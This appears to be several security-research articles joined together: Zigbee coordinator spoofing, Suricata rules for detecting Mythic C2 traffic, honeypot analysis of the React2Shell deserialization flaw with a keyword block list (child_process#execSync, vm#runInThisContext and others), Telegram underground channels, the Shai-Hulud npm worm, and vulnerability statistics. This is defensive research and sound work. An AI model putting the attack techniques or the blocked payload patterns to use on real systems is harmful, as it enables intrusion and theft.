Now, we can force the endpoint to leave its network by abusing how Zigbee handles PAN conflicts. If a coordinator sees beacons from another coordinator using the same PAN ID and the same channel, it may trigger a PAN ID conflict resolution. When that happens, the coordinator can instruct its nodes to change PAN ID and rejoin, which causes them to leave and then attempt to join again. That rejoin window gives us an opportunity to advertise a spoofed coordinator and capture the joining node.
In the capture shown below, packet 7 is a beacon generated by our spoofed coordinator using the same PAN ID as the real network. As a result, the endpoint with the address 0xe8fa leaves the network (see packets 14–16).
Choose me
After forcing the endpoint to leave its original network by sending a fake beacon, the next step is to make the endpoint choose our spoofed coordinator. At this point, we assume we already have the necessary keys (network and link keys) and understand how the application behaves.
To impersonate the original coordinator, our spoofed coordinator must reply to any beacon request the endpoint sends. The beacon response must include the same Extended PAN ID (and other fields) that the endpoint expects. If the endpoint deems our beacon acceptable, it may attempt to join us.
I can think of two ways to make the endpoint prefer our coordinator.
Jam the real coordinator
Use a device that reduces the real coordinator’s signal at the endpoint so that it appears weaker, forcing the endpoint to prefer our beacon. This requires extra hardware.
Exploit undefined or vendor-specific behavior
Zigbee stacks sometimes behave slightly differently across vendors. One useful field in a beacon is the Update ID field. It increments when a coordinator changes network configuration.
If two coordinators advertise the same Extended PAN ID but one has a higher Update ID, some stacks will prefer the beacon with the higher Update ID. This is undefined behavior across implementations; it works on some stacks but not on others. In my experience, sometimes it works and sometimes it fails. There are lots of other similar quirks we can try during an assessment.
Even if the endpoint chooses our fake coordinator, the connection may be unstable. One main reason for that is the timing. The endpoint expects ACKs for the frames it sends to the coordinator, as well as fast responses regarding connection initiation packets. If our responder is implemented in Python on a laptop that receives packets, builds responses, and forwards them to a dongle, the round trip will be too slow. The endpoint will not receive timely ACKs or packets and will drop the connection.
In short, we’re not just faking a few packets; we’re trying to reimplement parts of Zigbee and IEEE 802.15.4 that must run quickly and reliably. This is usually too slow for production stacks when done in high-level, interpreted code.
A practical fix is to run a real Zigbee coordinator stack directly on the dongle. For example, the nRF52840 dongle can act as a coordinator if flashed with the right Nordic SDK firmware (see Nordic’s network coordinator sample). That provides the correct timing and ACK behavior needed for a stable connection.
However, that simple solution has one significant disadvantage. In industrial deployments we often run into incompatibilities. In my tests I compared beacons from the real coordinator and the Nordic coordinator firmware. Notable differences were visible in stack profile headers:
The stack profile identifies the network profile type. Common values include 0x00, which is a network-specific (private) profile, and 0x02, which is a Zigbee Pro (public) profile.
If the endpoint expects a network-specific profile (i.e., it uses a private vendor profile) and we provide Zigbee Pro, the endpoint will refuse to join. Devices that only understand private profiles will not join public-profile networks, and vice versa. In my case, I could not change the Nordic firmware to match the proprietary stack profile, so the endpoint refused to join.
Because of this discrepancy, the “flash a coordinator firmware on the dongle” fix was ineffective in that environment. This is why the standard off-the-shelf tools and firmware often fail in industrial cases, forcing us to continue working with and optimizing our custom setup instead.
Back to the roots
In our previous test setup we used a sniffer in promiscuous mode, which receives every frame on the air regardless of destination. Real Zigbee (IEEE 802.15.4) nodes do not work like that. At the MAC/802.15.4 layer, a node filters frames by PAN ID and destination address. A frame is only passed to upper layers if the PAN ID matches and the destination address is the node’s address or a broadcast address.
We can mimic that real behavior on the dongle by running Zephyr RTOS and making the dongle act as a basic 802.15.4 coordinator. In that role, we set a PAN ID and short network address on the dongle so that the radio only accepts frames that match those criteria. This is important because it allows the dongle to handle auto-ACKs and MAC-level timing: the dongle will immediately send ACKs at the MAC level.
With the dongle doing MAC-level work (sending ACKs and PAN filtering), we can implement the Zigbee logic in Python. Scapy helps a lot with packet construction: we can create our own beacons with the headers matching those of the original coordinator, which solves the incompatibility problem. However, we must still implement the higher-level Zigbee state machine in our code, including connection initiation, association, network key handling, APS/AF behavior, and application payload handling. That’s the hardest part.
There is one timing problem that we cannot solve in Python: the very first steps of initiating a connection require immediate packet responses. To handle this issue, we implemented the time-critical parts in C on the dongle firmware. For example, we can statically generate the packets for connection initiation in Python and hard-code them in the firmware. Then, using “if” statements, we can determine how to respond to each packet from the endpoint.
So, we let the dongle (C/Zephyr) handle MAC-level ACKs and the initial association handshake, but let Python build higher-level packets and instruct the dongle what to send next when dealing with the application level. This hybrid model reduces latency and maintains a stable connection. The final architecture looks like this:
Deliver the key
Here’s a quick recap of how joining works: a Zigbee endpoint broadcasts beacon requests across channels, waits for beacon responses, chooses a coordinator, and sends an association request, followed by a data request to identify its short address. The coordinator then sends a transport key packet containing the network key. If the endpoint has the correct link key, it can decrypt the transport key packet and obtain the network key, meaning it has now been authenticated. From that point on, network traffic is encrypted with the network key. The entire process looks like this:
The sticking point is the transport key packet. This packet is protected using the link key, a per-device key shared between the coordinator (Trust Center) and the joining endpoint. Before the link key can be used for encryption, it often needs to be processed (hashed/derived) according to Zigbee’s key derivation rules. Since there is no trivial Python implementation that implements this hashing algorithm, we may need to implement the algorithm ourselves.
Now that we’ve managed to obtain the hashed link key and deliver it to the endpoint, we can successfully mimic a coordinator.
The final success
If we follow the steps above, we can get the endpoint to join our spoofed coordinator. Once the endpoint joins, it will often remain associated with our coordinator, even after we power it down (until another event causes it to re-evaluate its connection). From that point on, we can interact with the device at the application layer using Python. Getting access as a coordinator allowed us to switch the relay on and off as intended, but also provided much more functionality and control over the node.
Conclusion
In conclusion, this study demonstrates why private vendor profiles in industrial environments complicate assessments: common tools and frameworks often fail, necessitating the development of custom tools and firmware. We tested a simple two-node scenario, but with multiple nodes the attack surface changes drastically and new attack vectors emerge (for example, attacks against routing protocols).
As we saw, a misconfigured Zigbee setup can lead to a complete network compromise. To improve Zigbee security, use the latest specification’s security features, such as using installation codes to derive unique link keys for each device. Also, avoid using hard-coded or default keys. Finally, it is not recommended to use the network key encryption model. Add another layer of security in addition to the network level protection by using end-to-end encryption at the application level.
Threat actors frequently employ post-exploitation frameworks in cyberattacks to maintain control over compromised hosts and move laterally within the organization’s network. While they once favored closed-source frameworks, such as Cobalt Strike and Brute Ratel C4, open-source projects like Mythic, Sliver, and Havoc have surged in popularity in recent years. Malicious actors are also quick to adopt relatively new frameworks, such as Adaptix C2.
Analysis of popular frameworks revealed that their development focuses heavily on evading detection by antivirus and EDR solutions, often at the expense of stealth against systems that analyze network traffic. While obfuscating an agent’s network activity is inherently challenging, agents must inevitably communicate with their command-and-control servers. Consequently, an agent’s presence in the system and its malicious actions can be detected with the help of various network-based intrusion detection systems (IDS) and, of course, Network Detection and Response (NDR) solutions.
This article examines methods for detecting the Mythic framework within an infrastructure by analyzing network traffic. This framework has gained significant traction among various threat actors, including Mythic Likho (Arcane Wolf) и GOFFEE (Paper Werewolf), and continues to be used in APT and other attacks.
The Mythic framework
Mythic C2 is a multi-user command and control (C&C, or C2) platform designed for managing malicious agents during complex cyberattacks. Mythic is built on a Docker container architecture, with its core components – the server, agents, and transport modules – written in Python. This architecture allows operators to add new agents, communication channels, and custom modifications on the fly.
Since Mythic is a versatile tool for the attacker, from the defender’s perspective, its use can align with multiple stages of the Unified Kill Chain, as well as a large number of tactics, techniques, and procedures in the MITRE ATT&CK® framework.
Pivoting is a tactic where the attacker uses an already compromised system as a pivot point to gain access to other systems within the network. In this way, they gradually expand their presence within the organization’s infrastructure, bypassing firewalls, network segmentation, and other security controls.
Collection (TA0009) is a tactic focused on gathering and aggregating information of value to the attacker: files, credentials, screenshots, and system logs. In the context of network operations, collection is often performed locally on compromised hosts, with data then packaged for transfer. Tools like Mythic automate the discovery and selection of data sought by the adversary.
Exfiltration (TA0010) is the process of moving collected information out of the secured network via legitimate or covert channels, such as HTTP(s), DNS, or SMB, etc. Attackers may use resident agents or intermediate relays (pivot hosts) to conceal the exfiltration source and route.
Command and Control (TA0011) encompasses the mechanisms for establishing and maintaining a communication channel between the operator and compromised hosts to transmit commands and receive status updates. This includes direct connections, relaying through pivot hosts, and the use of covert protocols. Frameworks like Mythic provide advanced C2 capabilities, such as scheduled command execution, tunneling, and multi-channel communication, which complicate the detection and blocking of their activity.
This article focuses exclusively on the Command and Control (TA0011) tactic, whose techniques can be effectively detected within the network traffic of Mythic agents.
Detecting Mythic agent activity in network traffic
At the time of writing, Mythic supports data transfer over HTTP/S, WebSocket, TCP, SMB, DNS, and MQTT. The platform also boasts over a dozen different agents, written in Go, Python, and C#, designed for Windows, macOS, and Linux.
Mythic employs two primary architectures for its command network:
In this model, agents communicate with adjacent agents forming a chain of connections which eventually leads to a node communicating directly with the Mythic C2 server. For this purpose, agents utilize TCP and SMB.
In this model, agents communicate directly with the C2 server via HTTP/S, WebSocket, MQTT, or DNS.
P2P communication
Mythic provides pivoting capabilities via named SMB pipes and TCP sockets. To detect Mythic agent activity in P2P mode, we will examine their network traffic and create corresponding Suricata detection rules (signatures).
P2P communication via SMB
When managing agents via the SMB protocol, a named pipe is used by default for communication, with its name matching the agent’s UUID.
Although this parameter can be changed, it serves as a reliable indicator and can be easily described with a regular expression. Example:
[a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12}
For SMB communication, agents encode and encrypt data according to the pattern: base64(UUID+AES256(JSON)). This data is then split into blocks and transmitted over the network. The screenshot below illustrates what a network session for establishing a connection between agents looks like in Wireshark.
Commands and their responses are packaged within the MythicMessage data structure. This structure contains three header fields, as well as the commands themselves or the corresponding responses:
Total size (4 bytes)
Number of data blocks (4 bytes)
Current block number (4 bytes)
Base64-encoded data
The screenshot below shows an example of SMB communication between agents.
The agent (10.63.101.164) sends a command to another agent in the MythicMessage format. The first three Write Requests transmit the total message size, total number of blocks, and current block number. The fourth request transmits the Base64-encoded data. This is followed by a sequence of Read Requests, which are also transmitted in the MythicMessage format.
Below are the data transmitted in the fourth field of the MythicMessage structure.
The content is encoded in Base64. Upon decoding, the structure of the transmitted information becomes visible: it begins with the UUID of the infected host, followed by a data block encrypted using AES-256.
The fact that the data starts with a UUID string can be leveraged to create a signature-based detection rule that searches network packets for the identifier pattern.
To search for packets containing a UUID, the following signature can be applied. It uses specific request types and protocol flags as filters (Command: Ioctl (11), Function: FSCTL_PIPE_WAIT(0x00110018)), followed by a check to see if the pipe name matches the UUID pattern.
Agent activity can also be detected by analyzing data transmitted in SMB WriteRequest packets with the protocol flag Command: Write (9) and a distinct packet structure where the BlobOffset and BlobLen fields are set to zero. If the Data field is Base64-encoded and, after decoding, begins with a UUID-formatted string, this indicates a command-and-control channel.
Below is the KATA NDR user interface displaying an alert about detecting a Mythic agent operating in P2P mode over SMB. In this instance, the first rule – which checks the request type, protocol flags, and the UUID pattern – was triggered.
It should be noted that these signatures have a limitation. If the SMBv3 protocol with encryption enabled is used, Mythic agent activity cannot be detected with signature-based methods. A possible alternative is behavioral analysis. However, in this context, it suffers from low accuracy and a high false-positive rate. The SMB protocol is widely used by organizations for various legitimate purposes, making it difficult to isolate behavioral patterns that definitively indicate malicious activity.
P2P communication via TCP
Mythic also supports P2P communications via TCP. The connection initialization process appears in network traffic as follows:
As with SMB, the MythicMessage structure is used for transmitting and receiving data. First, the data length (4 bytes) is sent as a big-endian DWORD in a separate packet. Subsequent packets transmit the number of data blocks, the current block number, and the data itself. However, unlike SMB packets, the value of the current block number field is always 0x00000000, due to TCP’s built-in packet fragmentation support.
The data encoding scheme is also analogous to what we observed with SMB and appears as follows: base64(UUID+AES256(JSON)). Below is an example of a network packet containing Mythic data.
The decoded data appears as follows:
Similar to communication via SMB, signature-based detection rules can be created for TCP traffic to identify Mythic agent activity by searching for packets containing UUID-formatted strings. Below are two Suricata detection rules. The first rule is a utility rule. It does not generate security alerts but instead tags the TCP session with an internal flag, which is then checked by another rule. The second rule verifies the flag and applies filters to confirm that the current packet is being analyzed at the beginning of a network session. It then decodes the Base64 data and searches the resulting content for a UUID-formatted string.
Below is the NDR interface displaying an example of the two rules detecting a Mythic agent operating in P2P mode over TCP.
Egress transport modules
Covert Egress communication
For stealthy operations, Mythic allows agents to be managed through popular services. This makes its activity less conspicuous within network traffic. Mythic includes transport modules based on the following services:
Discord
GitHub
Slack
Of these, only the first two remain relevant at the time of writing. Communication via Slack (the Slack C2 Profile transport module) is no longer supported by the developers and is considered deprecated, so we will not examine it further.
The Discord C2 Profile transport module
The use of the Discord service as a mediator for C2 communication within the Mythic framework has been gaining popularity recently. In this scenario, agent traffic is indistinguishable from normal Discord activity, with commands and their execution results masquerading as messages and file attachments. Communication with the server occurs over HTTPS and is encrypted with TLS. Therefore, detecting Mythic traffic requires decrypting this.
Analyzing decrypted TLS traffic
Let’s assume we are using an NDR platform in conjunction with a network traffic decryption (TLS inspection) system to detect suspicious network activity. In this case, we operate under the assumption that we can decrypt all TLS traffic. Let’s examine possible detection rules for that scenario.
Agent and server communication occurs via Discord API calls to send messages to a specific channel. Communication between the agent and Mythic uses the MythicMessageWrapper structure, which contains the following fields:
message: the transmitted data
sender_id: a GUID generated by the agent, included in every message
to_server: a direction flag – a message intended for the server or the agent
id: not used
final: not used
Of particular interest to us is the message field, which contains the transmitted data encoded in Base64. The MythicMessageWrapper message is transmitted in plaintext, making it accessible to anyone with read permissions for messages on the Discord server.
Below is an example of data transmission via messages in a Discord channel.
To establish a connection, the agent authenticates to the Discord server via the API call /api/v10/gateway/bot. We observe the following data in the network traffic:
After successful initialization, the agent gains the ability to receive and respond to commands. To create a message in the channel, the agent makes a POST request to the API endpoint /channels/<channel.id>/messages. The network traffic for this call is shown in the screenshot below.
After decoding the Base64, the content of the message field appears as follows:
A structure characteristic of a UUID is visible at the beginning of the packet.
After processing the message, the agent deletes it from the channel via a DELETE request to the API endpoint /channels/{channel.id}/messages/{message.id}.
Below is a Suricata rule that detects the agent’s Discord-based communication activity. It checks the API activity for creating HTTP messages for the presence of Base64-encoded data containing the agent’s UUID.
Below is the NDR user interface displaying an example of detecting the activity of the Discord C2 Profile transport module for a Mythic agent within decrypted HTTP traffic.
Analyzing encrypted TLS traffic
If Discord usage is permitted on the network and there is no capability to decrypt traffic, it becomes nearly impossible to detect agent activity. In this scenario, behavioral analysis of requests to the Discord server may prove useful. Below is network traffic showing frequent TLS connections to the Discord server, which could indicate commands being sent to an agent.
In this case, we can use a Suricata rule to detect the frequent TLS sessions with Discord servers:
alert tcp any any -> any any (msg: "NetTool.PossibleMythicDiscordEgress.TLS.C&C"; flow: to_server, established; tls_sni; content: "discord.com"; nocase; threshold: type both, track by_src, count 4, seconds 420; reference: url, https://github.com/MythicC2Profiles/discord; classtype: ndr3; sid: 9000106; rev: 1;)
Another method for detecting these communications involves tracking multiple DNS queries to the discord.com domain.
The following rule can be applied to detect these:
Below is the NDR user interface showing an example of a custom rule in operation, detecting the activity of the Discord C2 Profile transport module for a Mythic agent within encrypted traffic based on characteristic DNS queries.
The proposed rule options have low accuracy and can generate a high number of false positives. Therefore, they must be adapted to the specific characteristics of the infrastructure in which they will run. Threshold and count parameters, which control the triggering frequency and time window, require tuning.
GitHub C2 Profile transport module
GitHub’s popularity has made it an attractive choice as a mediator for managing Mythic agents. The core concept is the same as in other covert Egress communication transport modules. Communication with GitHub utilizes HTTPS. Successful operation requires an account on the target platform and the ability to communicate via API calls. The transport module utilizes the GitHub API to send comments to pre-created Issues and to commit files to a branch within a repository controlled by the attackers. In this model, the agent interacts only with GitHub: it creates and reads comments, uploads files, and manages branches. It does not communicate with any other servers. The communication algorithm via GitHub is as follows:
The agent posts a comment (check-in) to a designated Issue on GitHub, intended for agents to report their results.
The Mythic server validates the comment, deletes it, and posts a reply in an issue designated for server use.
The agent creates a branch with a name matching its UUID and writes a get_tasking file to it (performs a push request).
The Mythic server reads the file and writes a response file to the same branch.
The agent reads the response file, deletes the branch, pauses, and repeats the cycle.
Analyzing decrypted TLS traffic
Let’s consider an approach to detecting agent activity when traffic decryption is possible.
Agent communication with the server utilizes API calls to GitHub. The payload is encoded in Base64 and published in plaintext; therefore, anyone who can view the repository or analyze the traffic contents can decode it.
Analysis of agent communication revealed that the most useful traffic for creating detection rules is associated with publishing check-in comments, creating a branch, and publishing a file.
During the check-in phase, the agent posts a comment to register a new agent and establish communication.
The transmitted data is encoded in Base64 and contains the agent’s UUID and the portion of the message encrypted using AES-256.
This allows for a signature that detects UUID-formatted substrings within GitHub comment creation requests.
Another stage suitable for detection is when the agent creates a separate branch with its UUID as the name. All subsequent relevant communication with the server will occur within this branch. Here is an example of a branch creation request:
Therefore, we can create a detection rule to identify UUID-formatted strings within branch creation requests.
The screenshot below shows how the NDR solution logs all suspicious communications using the GitHub API and subsequently identifies the Mythic agent’s activity. The result is an alert with the verdict Trojan.Mythic.HTTP.C&C.
Analyzing encrypted TLS traffic
Communication with GitHub occurs over HTTPS; therefore, in the absence of traffic decryption capability, signature-based methods for detecting agent activity cannot be applied. Let’s consider a behavioral agent activity detection approach.
For instance, it is possible to detect connections to GitHub servers that are atypical in frequency and purpose, originating from network segments where this activity is not expected. The screenshot below shows an example of an agent’s multiple TLS sessions. The traffic reflects the execution of several commands, as well as idle time, manifested as constant polling of the server while awaiting new tasks.
Multiple TLS sessions with the GitHub service from uncharacteristic network segments can be detected using the rule presented below:
alert tcp any any -> any any (msg:"NetTool.PossibleMythicGitHubEgress.TLS.C&C"; flow: to_server, established; tls_sni; content: "api.github.com"; nocase; threshold: type both, track by_src, count 4, seconds 60; reference: url, https://github.com/MythicC2Profiles/github; classtype: ndr3; sid: 9000111; rev: 1;)
Additionally, multiple DNS queries to the service can be logged in the traffic.
This activity is detected with the help of the following rule:
The screenshot below shows the NDR interface with an example of the first rule in action, detecting traces of the GitHub profile activity for a Mythic agent within encrypted TLS traffic.
The suggested rule options can produce false positives, so to improve their effectiveness, they must be adapted to the specific characteristics of the infrastructure in which they will run. The parameters of the threshold keyword – specifically the count and seconds values, which control the number of events required to generate an alert and the time window for their occurrence in NDR – must be configured.
Direct Egress communication
The Egress communication model allows agents to interact directly with the C2 server via the following protocols:
HTTP(S)
WebSocket
MQTT
DNS
The first two protocols are the most prevalent. The DNS-based transport module is still under development, and the module based on MQTT sees little use among operators. We will not examine them within the scope of this article.
Communication via HTTP
HTTP is the most common protocol for building a Mythic agent control network. The HTTP transport container acts as a proxy between the agents and the Mythic server. It allows data to be transmitted in both plaintext and encrypted form. Crucially, the metadata is not encrypted, which enables the creation of signature-based detection rules.
Below is an example of unencrypted Mythic network traffic over HTTP. During a GET request, data encoded in Base64 is passed in the value of the query parameter.
After decoding, the agent’s UUID – generated according to a specific pattern – becomes visible. This identifier is followed by a JSON object containing the key parameters of the host, collected by the agent.
If data encryption is applied, the network traffic for agent communication appears as shown in the screenshot below.
After decrypting the traffic and decoding from Base64, the communication data reveals the familiar structure: UUID+AES256(JSON).
Therefore, to create a detection signature for this case, we can also rely on the presence of a UUID within the Base64-encoded data in POST requests.
The screenshot below shows how the NDR platform detects agent communication with the server over HTTP, generating an alert with the name Trojan.Mythic.HTTP.C&C.
Communication via HTTPS
Mythic agents can communicate with the server via HTTPS using the corresponding transport module. In this case, data is encrypted with TLS and is not amenable to signature-based analysis. However, the activity of Mythic agents can be detected if they use the default SSL certificate. Below is an example of network traffic from a Mythic agent with such a certificate.
For this purpose, the following signature is applied:
alert tcp any any -> any any (msg:"Trojan.Mythic.TLS.C&C"; flow:established, from_server; content:"|16 03|"; depth:2; content:"|0B|"; distance:3; within:1; content:"|55 04|"; distance:0; content:"|09|Mythic C2"; nocase; distance:0; threshold:type both,track by_src,count 1,seconds 60; reference:url,github.com/its-a-feature/Mythic; classtype:ndr1; sid:9000114; rev:1;)
WebSocket
The WebSocket protocol enables full-duplex communication between a client and a remote host. Mythic can utilize it for agent management.
The process of agent communication with the server via WebSocket is as follows:
The agent sends a request to the WebSocket container to change the protocol for the HTTP(S) connection.
The agent and the WebSocket container switch to WebSocket to send and receive messages.
The agent sends a message to the WebSocket container requesting tasks from the Mythic container.
The WebSocket container forwards the request to the Mythic container.
The Mythic container returns the tasks to the WebSocket container.
The WebSocket container forwards these tasks to the agent.
It is worth mentioning that in this communication model, both the WebSocket container and the Mythic container reside on the Mythic server. Below is a screenshot of the initial agent connection to the server.
An analysis of the TCP session shows that the actual data is transmitted in the data field in Base64 encoding.
Decoding reveals the familiar data structure: UUID+AES256(JSON).
Therefore, we can use an approach similar to those discussed above to detect agent activity. The signature should rely on the UUID string at the beginning of the data field. The rule first verifies that the session data matches the data:base64 format, then decodes the data field and searches for a string matching the UUID pattern.
Below is the Trojan.Mythic.WebSocket.C&C signature triggering on Mythic agent communication over WebSocket.
Takeaways
The Mythic post-exploitation framework continues to gain popularity and evolve rapidly. New agents are emerging, designed for covert persistence within target infrastructures. Despite this evolution, the various implementations of network communication in Mythic share many common characteristics that remain largely consistent over time. This consistency enables IDS/NDR solutions to effectively detect the framework’s agent activity through network traffic analysis.
Mythic supports a wide array of agent management options utilizing several network protocols. Our analysis of agent communications across these protocols revealed that agent activity can be detected by searching for specific data patterns within network traffic. The primary detection criterion involves tracking UUID strings in specific positions within Base64-encoded transmitted data. However, while the general approach to detecting agent activity is similar across protocols, each requires protocol-specific filters. Consequently, creating a single, universal signature for detecting Mythic agents in network traffic is challenging; individual detection rules must be crafted for each protocol. This article has provided signatures that are included in Kaspersky NDR.
Kaspersky NDR is designed to identify current threats within network infrastructures. It enables the detection of all popular post-exploitation frameworks based on their characteristic traffic patterns. Since the network components of these frameworks change infrequently, employing an NDR solution ensures high effectiveness in agent discovery.
Kaspersky verdicts in Kaspersky solutions (Kaspersky Anti-Targeted Attack with NDR module and Kaspersky NGFW)
On December 4, 2025, researchers published details on the critical vulnerability CVE-2025-55182, which received a CVSS score of 10.0. It has been unofficially dubbed React2Shell, as it affects React Server Components (RSC) functionality used in web applications built with the React library. RSC speeds up UI rendering by distributing tasks between the client and the server. The flaw is categorized as CWE-502 (Deserialization of Untrusted Data). It allows an attacker to execute commands, as well as read and write files in directories accessible to the web application, with the server process privileges.
Almost immediately after the exploit was published, our honeypots began registering attempts to leverage CVE-2025-55182. This post analyzes the attack patterns, the malware that threat actors are attempting to deliver to vulnerable devices, and shares recommendations for risk mitigation.
A brief technical analysis of the vulnerability
React applications are built on a component-based model. This means each part of the application or framework should operate independently and offer other components clear, simple methods for interaction. While this approach allows for flexible development and feature addition, it can require users to download large amounts of data, leading to inconsistent performance across devices. This is the challenge React Server Components were designed to address.
The vulnerability was found within the Server Actions component of RSC. To reach the vulnerable function, the attacker just needs to send a POST request to the server containing a serialized data payload for execution. Part of the functionality of the handler that allows for unsafe deserialization is illustrated below:
A comparison of the vulnerable (left) and patched (right) functions
CVE-2025-55182 on Kaspersky honeypots
As the vulnerability is rather simple to exploit, the attackers quickly added it to their arsenal. The initial exploitation attempts were registered by Kaspersky honeypots on December 5. By Monday, December 8, the number of attempts had increased significantly and continues to rise.
The number of CVE-2025-55182 attacks targeting Kaspersky honeypots, by day (download)
Attackers first probe their target to ensure it is not a honeypot: they run whoami, perform multiplication in bash, or compute MD5 or Base64 hashes of random strings to verify their code can execute on the targeted machine.
In most cases, they then attempt to download malicious files using command-line web clients like wget or curl. Additionally, some attackers deliver a PowerShell-based Windows payload that installs XMRig, a popular Monero crypto miner.
CVE-2025-55182 was quickly weaponized by numerous malware campaigns, ranging from classic Mirai/Gafgyt variants to crypto miners and the RondoDox botnet. Upon infecting a system, RondoDox wastes no time, its loader script immediately moving to eliminate competitors:
Beyond checking hardcoded paths, RondoDox also neutralizes AppArmor and SELinux security modules and employs more sophisticated methods to find and terminate processes with ELF files removed for disguise.
Only after completing these steps does the script download and execute the main payload by sequentially trying three different loaders: wget, curl, and wget from BusyBox. It also iterates through 18 different malware builds for various CPU architectures, enabling it to infect both IoT devices and standard x86_64 Linux servers.
In some attacks, instead of deploying malware, the adversary attempted to steal credentials for Git and cloud environments. A successful breach could lead to cloud infrastructure compromise, software supply chain attacks, and other severe consequences.
Risk mitigation measures
We strongly recommend updating the relevant packages by applying patches released by the developers of the corresponding modules and bundles.
Vulnerable versions of React Server Components:
Bundles and modules confirmed as using React Server Components:
next
react-router
waku
@parcel/rsc
@vitejs/plugin-rsc
rwsdk
To prevent exploitation while patches are being deployed, consider blocking all POST requests containing the following keywords in parameters or the request body:
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
module#createRequire
fs#readFileSync
fs#writeFileSync
s#appendFileSync
Conclusion
Due to the ease of exploitation and the public availability of a working PoC, threat actors have rapidly adopted CVE-2025-55182. It is highly likely that attacks will continue to grow in the near term.
We recommend immediately updating React to the latest patched version, scanning vulnerable hosts for signs of malware, and changing any credentials stored on them.
Telegram has won over users worldwide, and cybercriminals are no exception. While the average user chooses a messaging app based on convenience, user experience and stability (and perhaps, cool stickers), cybercriminals evaluate platforms through a different lens.
When it comes to anonymity, privacy and application independence – essential criteria for a shadow messaging app – Telegram is not as strong as its direct competitors.
It lacks default end-to-end (E2E) encryption for chats.
It has a centralized infrastructure: users cannot set up their own servers for communication.
Its server-side code is closed: users cannot verify what it does.
This architecture requires a high degree of trust in the platform, but experienced cybercriminals prefer not to rely on third parties when it comes to protecting their operations and, more importantly, their personal safety.
That said, Telegram today is widely viewed and used not only as a communication tool (messaging service), but also as a full-fledged dark-market business platform – thanks to several features that underground communities actively exploit.
Is this research, we examine Telegram through the eyes of cybercriminals, evaluate its technical capabilities for running underground operations, and analyze the lifecycle of a Telegram channel from creation to digital death. For this purpose, we analyzed more than 800 blocked Telegram channels, which existed between 2021 and 2024.
Key findings
The median lifespan of a shadow Telegram channel increased from five months in 2021–2022 to nine months in 2023–2024.
The frequency of blocking cybercrime channels has been growing since October 2024.
Cybercriminals have been migrating to other messaging services due to frequent blocks by Telegram.
In September, a new breed of malware distributed via compromised Node Package Manager (npm) packages made headlines. It was dubbed “Shai-Hulud”, and we published an in-depth analysis of it in another post. Recently, a new version was discovered.
Shai Hulud 2.0 is a type of two-stage worm-like malware that spreads by compromising npm tokens to republish trusted packages with a malicious payload. More than 800 npm packages have been infected by this version of the worm.
According to our telemetry, the victims of this campaign include individuals and organizations worldwide, with most infections observed in Russia, India, Vietnam, Brazil, China, Türkiye, and France.
Technical analysis
When a developer installs an infected npm package, the setup_bun.js script runs during the preinstall stage, as specified in the modified package.json file.
Bootstrap script
The initial-stage script setup_bun.js is left intentionally unobfuscated and well documented to masquerade as a harmless tool for installing the legitimate Bun JavaScript runtime. It checks common installation paths for Bun and, if the runtime is missing, installs it from an official source in a platform-specific manner. This seemingly routine behavior conceals its true purpose: preparing the execution environment for later stages of the malware.
The installed Bun runtime then executes the second-stage payload, bun_environment.js, a 10MB malware script obfuscated with an obfuscate.io-like tool. This script is responsible for the main malicious activity.
Stealing credentials
Shai Hulud 2.0 is built to harvest secrets from various environments. Upon execution, it immediately searches several sources for sensitive data, such as:
GitHub secrets: the malware searches environment variables and the GitHub CLI configuration for values starting with ghp_ or gho_. It also creates a malicious workflow yml in victim repositories, which is then used to obtain GitHub Actions secrets.
Cloud credentials: the malware searches for cloud credentials across AWS, Azure, and Google Cloud by querying cloud instance metadata services and using official SDKs to enumerate credentials from environment variables and local configuration files.
Local files: it downloads and runs the TruffleHog tool to aggressively scan the entire filesystem for credentials.
Then all the exfiltrated data is sent through the established communication channel, which we describe in more detail in the next section.
Data exfiltration through GitHub
To exfiltrate the stolen data, the malware sets up a communication channel via a public GitHub repository. For this purpose, it uses the victim’s GitHub access token if found in environment variables and the GitHub CLI configuration.
After that, the malware creates a repository with a randomly generated 18-character name and a marker in its description. This repository then serves as a data storage to which all stolen credentials and system information are uploaded.
If the token is not found, the script attempts to obtain a previously stolen token from another victim by searching through GitHub repositories for those containing the text, “Sha1-Hulud: The Second Coming.” in the description.
Worm spreading across packages
For subsequent self-replication via embedding into npm packages, the script scans .npmrc configuration files in the home directory and the current directory in an attempt to find an npm registry authorization token.
If this is successful, it validates the token by sending a probe request to the npm /-/whoami API endpoint, after which the script retrieves a list of up to 100 packages maintained by the victim.
For each package, it injects the malicious files setup_bun.js and bun_environment.js via bundleAssets and updates the package configuration by setting setup_bun.js as a pre-installation script and incrementing the package version. The modified package is then published to the npm registry.
Destructive responses to failure
If the malware fails to obtain a valid npm token and is also unable to get a valid GitHub token, making data exfiltration impossible, it triggers a destructive payload that wipes user files, primarily those in the home directory.
Our solutions detect the family described here as HEUR:Worm.Script.Shulud.gen.
Since September of this year, Kaspersky has blocked over 1700 Shai Hulud 2.0 attacks on user machines. Of these, 18.5% affected users in Russia, 10.7% occurred in India, and 9.7% in Brazil.
TOP 10 countries and territories affected by Shai Hulud 2.0 attacks (download)
We continue tracking this malicious activity and provide up-to-date information to our customers via the Kaspersky Open Source Software Threats Data Feed. The feed includes all packages affected by Shai-Hulud, as well as information on other open-source components that exhibit malicious behaviour, contain backdoors, or include undeclared capabilities.
In the third quarter, attackers continued to exploit security flaws in WinRAR, while the total number of registered vulnerabilities grew again. In this report, we examine statistics on published vulnerabilities and exploits, the most common security issues impacting Windows and Linux, and the vulnerabilities being leveraged in APT attacks that lead to the launch of widespread C2 frameworks. The report utilizes anonymized Kaspersky Security Network data, which was consensually provided by our users, as well as information from open sources.
Statistics on registered vulnerabilities
This section contains statistics on registered vulnerabilities. The data is taken from cve.org.
Let us consider the number of registered CVEs by month for the last five years up to and including the third quarter of 2025.
Total published vulnerabilities by month from 2021 through 2025 (download)
As can be seen from the chart, the monthly number of vulnerabilities published in the third quarter of 2025 remains above the figures recorded in previous years. The three-month total saw over 1000 more published vulnerabilities year over year. The end of the quarter sets a rising trend in the number of registered CVEs, and we anticipate this growth to continue into the fourth quarter. Still, the overall number of published vulnerabilities is likely to drop slightly relative to the September figure by year-end
A look at the monthly distribution of vulnerabilities rated as critical upon registration (CVSS > 8.9) suggests that this metric was marginally lower in the third quarter than the 2024 figure.
Total number of critical vulnerabilities published each month from 2021 to 2025 (download)
Exploitation statistics
This section contains exploitation statistics for Q3 2025. The data draws on open sources and our telemetry.
